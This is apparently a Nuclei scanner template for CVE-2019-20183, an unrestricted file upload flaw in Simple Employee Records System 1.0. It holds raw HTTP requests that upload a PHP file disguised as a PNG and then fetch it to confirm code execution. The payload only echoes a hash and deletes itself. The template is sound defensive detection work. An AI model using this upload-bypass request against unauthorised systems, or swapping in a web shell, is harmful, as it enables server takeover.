id: CVE-2019-20183

info:
  name: Simple Employee Records System 1.0 - Unrestricted File Upload
  author: pikpikcu,j4vaovo
  severity: high
  description: |
    Simple Employee Records System 1.0 contains an arbitrary file upload vulnerability due to client-side validation of file extensions. This can be used to upload executable code to the server to obtain access or perform remote command execution.
  remediation: |
    Apply the latest patch or update to Simple Employee Records System 1.0 to fix the unrestricted file upload vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49596
    - https://medium.com/@Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20183
    - https://medium.com/%40Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2019-20183
    cwe-id: CWE-434
    epss-score: 0.02473
    epss-percentile: 0.88873
    cpe: cpe:2.3:a:employee_records_system_project:employee_records_system:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: employee_records_system_project
    product: employee_records_system
  tags: edb,cve,cve2019,rce,fileupload,intrusive

http:
  - raw:
      - |
        POST /dashboard/uploadID.php HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=---------------------------5825462663702204104870787337

        -----------------------------5825462663702204104870787337
        Content-Disposition: form-data; name="employee_ID"; filename="poc.php"
        Content-Type: image/png

        <?php
        echo md5('CVE-2019-20183');
        unlink(__FILE__);
        ?>
        -----------------------------5825462663702204104870787337--
      - |
        GET /uploads/employees_ids/{{endpoint}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body_2
        words:
          - "1ad0d710225c472cb7396b3c1d97e4dd"

    extractors:
      - type: regex
        name: endpoint
        regex:
          - '(?:[a-zA-Z0-9+\/])*_poc.php'
        internal: true
        part: body
# digest: 490a0046304402200dfcfff8a96b183e751eb60114aada3a6931a628f30461857282ec0e19f5b1e8022063e3bffedc8c718ca4cfbe3eab1b35a51c3635a125dddfabe9394a5394a0e58b:922c64590222798bb761d5b6d8e72950